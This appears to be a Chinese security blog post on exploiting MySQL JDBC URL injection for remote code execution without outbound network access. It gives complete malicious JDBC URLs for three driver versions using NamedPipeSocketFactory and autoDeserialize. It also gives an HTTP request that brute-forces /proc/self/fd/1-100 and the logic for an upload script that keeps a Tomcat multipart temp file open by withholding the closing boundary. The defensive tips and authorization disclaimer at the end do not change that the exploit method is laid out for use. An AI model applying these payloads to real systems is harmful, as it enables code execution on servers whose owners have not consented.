Mysql JDBC利用FD实现不出网利用
字数 3340
更新时间 2026-10-25 15:06:23

Mysql JDBC利用FD实现不出网利用

一句话结论:MySQL JDBC 的不出网利用常靠 NamedPipeSocketFactory 读本地文件。在 Linux 下没有命名管道,但可以换一条路:先用 Tomcat multipart 上传把一个恶意文件变成服务进程里的一个打开的文件描述符,再用 namedPipePath 指向 /proc/self/fd/N,爆破一下 fd 编号就能让 JDBC 读出这个恶意文件触发反序列化,全程不出网。

排版说明:为规避排版转义问题,文中 Windows 路径反斜杠写成正斜杠,脚本里的回车换行、空字节等控制字符用文字描述,正文引用一律使用「」。

一、背景:NamedPipeSocketFactory 读本地文件

MySQL JDBC 不出网的已知手法是:用 NamedPipeSocketFactory 代替真实 socket,把 namedPipePath 指向本地文件,建连时驱动会去读这个文件并回传,配合 autoDeserialize 触发反序列化。原理不赘述。具体 Payload 可直接用 Java-chain 生成。不同驱动版本的参数不一样:

// mysql5
jdbc:mysql://xxx/test?useSSL=false&autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=mysql&socketFactory=com.mysql.jdbc.NamedPipeSocketFactory&namedPipePath=

// mysql6
jdbc:mysql://xxx/test?useSSL=false&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=mysql&socketFactory=com.mysql.cj.core.io.NamedPipeSocketFactory&namedPipePath=

// mysql8
jdbc:mysql://xxx/test?&maxAllowedPacket=74996390&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=mysql&socketFactory=com.mysql.cj.protocol.NamedPipeSocketFactory&namedPipePath=

注意 mysql8 把 statementInterceptors 改成了 queryInterceptors,socketFactory 包名也从 cj.core.io 变成 cj.protocol,并带上了 maxAllowedPacket。

二、思路:既然 namedPipePath 能指本地文件,Linux 下能不能指 /proc/self/fd

既然 namedPipePath 能指定本地文件,那么在 Linux 下是否可以通过上传临时文件,然后直接枚举读取 /proc/self/fd 实现不出网利用?这就是本文要验证的点。

三、环境部署

建一个 Spring Boot 应用,写一个测试 JDBC 的 Controller,前端把 jdbc url 以 JSON body 传进来,后端直接 DriverManager.getConnection:

@RestController
public class JdbcTestController {
    @PostMapping('/testconnect')
    public Map testConnect(@RequestBody Map body) {
        String jdbcUrl = body.get('url');
        // 根据是否传了 user/password 选 getConnection 重载,回显 success/database/driver/elapsedMs
        Connection conn = DriverManager.getConnection(jdbcUrl);
        ...
    }
}

依赖只传入 mysql-connector-java 即可,版本测试选 mysql8:

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.19</version>
</dependency>

四、本地文件利用(先验证链路能跑通)

环境部署好后,先用本地文件测试。通过 Java-chain 生成恶意 Pipe 文件。由于测试环境未导入其他依赖,得依赖本地原生利用链:这里采用 EventListenerList 调用 toString 触发 Jackson 反序列化,然后利用 Spring 动态代理解决 Jackson 调用 TemplatesImpl 的不稳定问题。

目标服务器是 Kali,所以通过执行 firefox 打开浏览器来验证执行效果。发包(namedPipePath 指向本地恶意文件),发现成功打开 firefox,链路确认有效。

五、FD 临时文件利用(本文重点)

5.1 Tomcat multipart 会把上传落为磁盘临时文件

Tomcat 可通过 multipart 上传临时文件到服务器,并且会在 javax.servlet.context.tempdir 指向的工作目录(形如 work/Tomcat/xxx/ROOT/)下创建一个磁盘临时文件(文件名形如 upload_xxxxxxxx.tmp)。

写一个上传临时文件的脚本。关键 trick:故意不发送结尾的 --boundary--,并且用 Connection 为 keep-alive,这样服务端 multipart 会一直等剩下的数据,从而一直保持临时文件存在(连接一断、fd 就释放了)。上传一个 firefox 可执行文件后,可以在形如 /tmp/tomcat.9999.xxxx/work/Tomcat/localhost/ROOT 找到上传的临时文件。

5.2 用 /proc/self/fd/N 指向那个临时文件

在 Mysql JDBC 利用时把 namedPipePath 设为这个临时文件路径也可以实现利用,但这个临时文件位置随机(目录名带随机数字、文件名也随机),无法直接获取。

这时候思路就来了:上传临时文件时,除了临时目录会生成文件,进程还会因此获得一个文件描述符 fd N,而 /proc/self/fd/N 就是一个指向该磁盘临时文件的符号链接。再上传一次,写一个监控脚本看 /proc/self/fd/N 中是否指向了该文件。比如看到 /proc/427906/fd/26 指向了这个临时文件,那么在 JDBC 利用过程中就可以直接指定 namedPipePath=/proc/self/fd/26 进行不出网利用,往往只需爆破一下 fd 值即可,效率其实挺高。

5.3 落地演示

思路清晰后:一边上传临时文件并保持连接,一边枚举 namedPipePath=/proc/self/fd/XX。发包时对 namedPipePath 做 fd 枚举:

POST /testconnect HTTP/1.1
Content-Type: application/json
Host: 目标

{"url": "jdbc:mysql://127.0.0.1:3306/test?useSSL=false&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&socketFactory=com.mysql.cj.protocol.NamedPipeSocketFactory&namedPipePath=/proc/self/fd/{{int(1-100)}}&maxAllowedPacket=74996390&user=mysql&dbname=test"}

这里用爆破器语法 {{int(1-100)}} 对 fd 编号 1 到 100 逐一枚举。当命中 fd 时即可实现利用,实测在 fd=29 时成功命中,打开了 firefox,由此实现完整不出网利用。

六、保持连接的关键脚本

上传并保持 fd 的核心逻辑(用 Python 裸 socket 直接拼 multipart 报文)。要点用文字描述:

  • 读入待上传的文件内容 data;
  • 拼一个带 boundary 的 form-data 头部(字段名 file、文件名 x.bin、Content-Type application/octet-stream);
  • 真正的 body 是 头部 + data + 一段空字节 padding(默认 60000 字节);
  • Content-Length 按「头部 + data + padding + 结尾 boundary」完整长度声明,但实际只发送前面那部分,故意扣住结尾的 --boundary-- 不发;
  • 请求头用 Connection 为 keep-alive,服务端因等不到结束边界而保持临时文件存在;
  • 脚本 sleep 60 秒保持连接,退出时关闭 socket,此时临时文件对应的 fd 才释放。

简化示意:

A_head  = 两个横线 + boundary + CRLF + 内容 disposition + CRLF + CRLF
A_body  = A_head + data + 一段空字节*PAD        # 故意不拼上结尾闭合边界
A_clen  = len(A_head) + len(data) + PAD + len(闭合边界)   # 长度算上但不发
s.sendall(A_req + A_body)     # 只发半截,服务端永远等不到 --boundary--
time.sleep(60)                # 保持 fd 存活

七、与 fastjson 不出网 FD 撞车的对比

这套手法与之前分析过的 fastjson 1.2.83 不出网 RCE 同源:两者都靠 Tomcat multipart 落盘临时文件 + 扣住结尾 boundary 保持 fd 存活 + 爆破 /proc/self/fd/N。区别只在于 sink:

维度 fastjson 不出网 本文 MySQL JDBC 不出网
触发入口 JSON 反序列化 @type JDBC 建连时的 socketFactory
读文件的方式 jar:file:/proc/self/fd/N namedPipePath=/proc/self/fd/N
落地依赖 Tomcat 临时文件 Tomcat multipart 临时文件
保持 fd keep-alive + 扣 boundary 同左

本质上都是把「随机路径的磁盘临时文件」转成「可枚举的稳定句柄」。

八、小结

  • 前提:目标用 JDBC 连接且驱动支持 NamedPipeSocketFactory,应用把外部可控的 url 交给 DriverManager.getConnection。
  • 不出网、不依赖中间件回连,只需一次文件上传 + 一轮 fd 爆破。
  • 防御:不要将用户输入的 JDBC url 直接传入 getConnection;禁用或限制 autoDeserialize 与 socketFactory 类反射实例化;监控 /proc/self/fd 异常读取与意外的长时 multipart 挂起连接。

免责声明:本文仅用于授权环境下的安全研究与教学复现。

相似文章
相似文章
小程序二维码
 全屏